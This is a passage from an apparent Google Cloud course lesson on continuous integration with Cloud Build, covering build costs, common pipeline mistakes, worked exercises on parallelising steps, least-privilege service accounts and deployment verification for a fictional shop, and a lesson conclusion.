And notice the connection that closes the circle: the $COMMIT_SHA tag of the training image ends up recorded in Vertex AI Pipelines' metadata. That means that, faced with the audit question "with exactly what code was the model that made this recommendation trained?", the answer is no longer guesswork: it is a specific commit that can be looked up in Git.

  1. The cost of builds

Cloud Build's pricing model is simple: you pay per build minute, and the price per minute depends on the machine size. There is a generous monthly free quota for the default machine.

Orders of magnitude — always check the current prices in the official documentation, because they change:

Size CPU / memory Relative cost per minute When
Default (e2-medium) 1 vCPU / 4 GB Baseline (with free tier) Short pipelines
E2_HIGHCPU_8 8 vCPU / 8 GB ~8× the baseline Builds with lots of tests
E2_HIGHCPU_32 32 vCPU / 32 GB ~32× the baseline Highly parallelisable builds
Private pool Depends on the machine Minutes + reserved machines VPC access

An indicative calculation for AlpinaShop: about 15 builds a day between pull requests and merges, at 4 minutes on average on E2_HIGHCPU_8, comes to about 60 machine-minutes a day, around 1,800 a month. With the default machine part of that would be covered by the free tier; with E2_HIGHCPU_8 the monthly cost is in the order of tens of euros. Compared with the engineering time it saves, it is one of the most profitable investments in the whole platform.

The four levers for controlling it:

  1. A well-configured cache. It is the one that saves the most, and it makes developers happy into the bargain.
  2. --included-files on the triggers. Do not build because a documentation file changed.
  3. The right machine size. Bigger is not always better: if the bottleneck is the network, you pay 8× for the same time.
  4. A sensible timeout. Without one, a hung build burns up to 60 minutes before giving up.

Common Mistakes and Tips

Expecting a step to see what the previous one installed outside /workspace. This is mistake number one. Each step is a new container: the only thing that persists is the shared directory. If you install dependencies, install them with --target=/workspace/... and propagate PYTHONPATH.

Tagging with latest. It has been said three times already and it is being said a fourth because it is the mistake with the worst consequences: without an immutable tag there is no diagnosis and no rollback. Always use $COMMIT_SHA. If you also want a readable tag, add $SHORT_SHA or a semantic version alongside the SHA, never in its place.

Leaving the service account with broad permissions "until it works". That "until it works" becomes permanent. Start restrictive and add specific permissions as steps fail: each failure tells you exactly which permission is missing, and that way you end up with the real minimum list instead of with Editor.

Not checking that the deployment converges. kubectl set image returns success as soon as Kubernetes accepts the order. If the new pods fail to start, your pipeline goes green while the application is broken. kubectl rollout status --timeout=... is mandatory.

Using a single dollar sign in secretEnv. $MI_SECRETO is what Cloud Build tries to substitute, and it leaves it empty; $$MI_SECRETO reaches the shell. And never print the value: the logs are not redacted.

Copying the code before installing dependencies in the Dockerfile. It invalidates the cache on every commit. Order the instructions from the stable to the volatile.

Forgetting logging: CLOUD_LOGGING_ONLY when using your own service account. Immediate failure with a not very descriptive message. It is one of the first things that shows up when you do things properly.

Slow pipelines. If CI takes twenty minutes, the team will stop waiting for it and will merge without looking. Treat pipeline duration as a product metric: parallelise with waitFor, use cache, and if necessary separate the fast tests — on every PR — from the slow ones — nightly.

A final tip: start small. A pipeline that only runs the tests on every pull request already delivers most of the value. Add the build, then deployment to development, then promotion to production. A perfect pipeline that takes three months to be ready loses to a modest one that works on Friday.

Exercises

Exercise 1: parallelise and shorten the pipeline

The catalogue pipeline takes 9 minutes: install 2, tests 3, lint 2, build 2. Marta complains that pull requests take too long to give a verdict. Rewrite the steps section to minimise total time, calculate the resulting theoretical duration and explain which other two measures — one in the cloudbuild.yaml and one in the Dockerfile — would cut the time further.

Exercise 2: design the permissions of a new pipeline

AlpinaShop wants a pipeline that, when a Git tag v* is created, builds the image, publishes it to Artifact Registry, runs the database migrations against alpinashop-pedidos in alpinashop-prod and deploys to production after approval. List the service accounts you would create, the exact roles of each one and justify why you would not use a single one. Also point out the biggest security risk in the brief.

Exercise 3: diagnose a build that lies

The pipeline has been green for two weeks. A customer reports that the catalogue's search has been failing for ten days. Investigating, you discover three things: test coverage is 71 % and the search is not covered; the deployment step finishes successfully but the version deployed in alpinashop-dev is three weeks old; and in production there is an image nobody knows where it came from. Explain the most likely cause of each finding and what specific change in the pipeline would have prevented each one.

Solutions

Solution 1

Rewritten pipeline. The key observation is that pruebas and lint only depend on instalar, not on each other:

steps:
  - name: 'python:3.11-slim'
    id: 'instalar'                    # 2 min
    entrypoint: 'bash'
    args: ['-c', 'pip install -r requirements.txt -r requirements-dev.txt --target=/workspace/lib']

  - name: 'python:3.11-slim'
    id: 'pruebas'                     # 3 min, in parallel with lint
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args: ['-c', 'python -m pytest -q']

  - name: 'python:3.11-slim'
    id: 'lint'                        # 2 min, in parallel with the tests
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args: ['-c', 'python -m ruff check catalogo/']

  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'construir'                   # 2 min
    waitFor: ['pruebas', 'lint']
    args: ['--destination=${_REPO}/catalogo:$COMMIT_SHA', '--cache=true']

Theoretical duration: 2 + max(3, 2) + 2 = 7 minutes, down from 9. Two minutes are saved, the time of the lint, which is now free because it fits inside the time of the tests.

You can do considerably better. The build step also depends only on the code, not on the tests having passed. If you launch it in parallel with waitFor: ['-'] from the start, the total time drops to 2 + 3 = 5 minutes. The trade-off is that you build an image you may throw away if the tests fail, which costs 2 machine-minutes. In a pull request, where the image is not published, it is a reasonable trade: you pay a little compute to give a verdict sooner.

Measure in the cloudbuild.yaml: raise the machineType to E2_HIGHCPU_8. The 3 minutes of pytest are usually pure CPU and drop appreciably with more cores, especially if you also add pytest -n auto with pytest-xdist to parallelise the tests inside the step.

Measure in the Dockerfile: reorder so that COPY requirements.txt and the installation come before COPY . /app. With kaniko and --cache=true, the dependency layer is reused in every build where the dependencies do not change, which is the vast majority, and the 2 minutes of building turn into seconds.

And the tip that wraps up the whole exercise: measure before optimising. The Cloud Build console shows the duration of each step; the 9 minutes could be 7 spent downloading one giant dependency, and in that case neither parallelism nor a big machine would change anything.

Solution 2

Four service accounts, one per responsibility:

Account Roles Scope
sa-build-catalogo artifactregistry.writer, logging.logWriter alpinashop repository in alpinashop-prod
sa-migraciones-prod cloudsql.client, secretmanager.secretAccessor on db-password-catalogo alpinashop-pedidos instance
sa-deploy-prod container.developer The alpinashop-prod project only
sa-build-dev artifactregistry.writer, container.developer in alpinashop-dev Development environment

Why not a single one: because one account would be the union of all the permissions, and any step of the pipeline could do anything. With the separation, the step that runs the tests cannot touch the production database even if somebody injects malicious code into it; the migration step cannot deploy; the deployment one cannot read secrets. It is the same segregation of duties principle from 03-04, applied inside an automated process. And there is an added operational benefit: when an odd operation shows up in the audit logs, the identity tells you immediately which part of the pipeline did it.

The biggest risk in the brief is the database migrations, and it is not a permissions problem. A migration is the least reversible operation in the whole pipeline: if kubectl set image goes wrong, you roll back in thirty seconds; if an ALTER TABLE drops a column, the data does not come back. Four concrete measures:

  • An automatic, immediately verified backup right before the migration, as a pipeline step that fails if it does not complete.
  • Backwards-compatible migrations: add columns before using them, never drop anything in the same deployment that stops using them. That way the previous version of the application keeps working with the new schema, and rollback is possible.
  • Run it first in alpinashop-dev with a recent copy of production data, and have the build fail if it does not work there.
  • Manual approval before the migration step, not only before the deployment.

And a warning about the tag trigger: anybody who can create a v* tag in the repository fires this pipeline. Tag protection in Git is as important as branch protection, and that is a subject for 06-02.

Solution 3

Finding 1: 71 % coverage with the search uncovered. The cause is that the --fail-under=70 threshold is measuring what does not matter: it measures the global percentage of lines, and a high global percentage is perfectly compatible with the critical parts being at 0 %. The pipeline was green telling the truth about an irrelevant metric.

Specific change: per-module thresholds in addition to the global one, demanding high coverage in the critical packages:

python -m coverage report --fail-under=70
python -m coverage report --include='catalogo/buscador/*' --fail-under=85

And, more important than the threshold, a post-deployment smoke test that exercises the main paths of the application against the freshly deployed environment. Code being covered does not guarantee that the system works; a real request to the search does.

Finding 2: the "successful" deployment is three weeks old. Almost certainly the kubectl rollout status is missing. The new pods start, they fail, Kubernetes keeps the previous ReplicaSet serving traffic, and the pipeline step finished successfully as soon as the order was accepted. All green, nothing deployed. It is the most treacherous failure in this section because the system is actively lying to you.

Specific change: add kubectl rollout status deployment/catalogo-web -n tienda --timeout=180s as part of the same step, plus a subsequent check that verifies that the image actually running matches the expected one:

DEPLOYED=$(kubectl get deployment catalogo-web -n tienda \
  -o jsonpath='{.spec.template.spec.containers[0].image}')
test "$DEPLOYED" = "${_REPO}/catalogo:$COMMIT_SHA" || { echo "Unexpected image: $DEPLOYED"; exit 1; }

Finding 3: an image in production nobody knows where it came from. Somebody deployed by hand, bypassing the pipeline. It is what always happens when the pipeline is not the most convenient path: if automatic deployment is broken — finding 2 — and there is an emergency, somebody will open a terminal.

Specific change: Binary Authorization with an attestation issued by the pipeline, which makes it technically impossible to deploy an unverified image. As an interim measure while it is being adopted, withdraw roles/container.developer over alpinashop-prod from people and leave it only on sa-deploy-prod, with emergency access through logged impersonation, exactly as set out in 03-04.

The lesson that unifies the three findings: a green pipeline does not mean the system works. It means the checks you wrote have passed. If those checks measure what does not matter, if they do not verify the real outcome of the deployment and if the pipeline can be gone around, the colour green is worse than having no pipeline, because it creates a confidence nobody has earned. The three findings, moreover, share a common origin: nobody was watching. Not the metrics, not the logs, not the real state of production. That is the gap tackled in 06-04 and 06-06.

Conclusion

AlpinaShop has stopped deploying from Dani's laptop.

You can tell apart continuous integration — integrating often and verifying every integration —, continuous delivery — always being ready to deploy, with a button — and continuous deployment — with no button —, and you know why AlpinaShop adopts the first two and defers the third until it has the safety net that tests and observability provide.

You know Cloud Build's model: a sequence of steps, each one a container, over a shared /workspace, with the practical consequence that only what is written into that directory persists. You can read and write a cloudbuild.yaml field by field — steps, name, args, env, id, waitFor, substitutions, images, artifacts, options, timeout —, parallelise with waitFor because the speed of the pipeline decides whether the team uses it, and make use of $PROJECT_ID and $COMMIT_SHA, with the warning that they only have a value when the build comes from a trigger.

You have the real catalogue pipeline: install into /workspace/lib, test with pytest and a coverage threshold that makes the build fail, analyse with ruff and bandit in parallel, build with kaniko and cache, publish to Artifact Registry tagged with the SHA and never with latest, and deploy to alpinashop-dev checking that the deployment really converges. All of it running in alpinashop-cicd, the project that finally makes sense.

You know why your build takes eight minutes and how to bring it down: kaniko's cache, --cache-from with its || true, and above all a Dockerfile ordered from the stable to the volatile. You know the triggers by branch, by pull request, by tag and manual, and the --included-files filter that avoids building because of a typo in the README.

And you have what prevents the most grief: Cloud Build's service account with minimum permissions, three roles and not one more, because the pipeline is the most privileged system in the whole infrastructure and the anti-pattern of giving it Editor turns any pull request into an attack vector. You know how to inject secrets with availableSecrets and $$, without them ending up in Git or in the logs. You know how to promote instead of rebuilding, with manual approval and a different service account for production. You know about private pools for building inside the VPC, Cloud Deploy for when deployment gets complicated with canaries and several environments, Artifact Registry's vulnerability scanning and Binary Authorization as the only way for "only what comes from the pipeline reaches production" to be a guarantee rather than a wish.

And you have closed the first loose end from module 5: the ML pipeline is at maturity level 2, with the components tested, the training image tagged with the commit and the lineage answering with a specific SHA the question of which code trained each model.

There is, however, an uncomfortable question we have been dodging throughout the lesson. All of this is triggered from a repository. Which repository? Because the catalogue's code still lives on Dani's laptop, and there are configuration files in a Drive folder somebody shared a year and a half ago. A continuous integration pipeline without serious version control is a house built on sand.

In 06-02 we lay the foundation: repositories, branching strategy, what should and should not be versioned, and the honest conversation about Cloud Source Repositories versus GitHub and GitLab.

Google Cloud Platform (GCP) Course

Module 1: Introduction to Google Cloud Platform

Module 2: Core GCP Services

Module 3: Networking and Security

Module 4: Data and Analytics

Module 5: Machine Learning and AI

Module 6: DevOps and Monitoring

Module 7: Advanced GCP Topics

Module 8: Final Project

© Copyright 2026. All rights reserved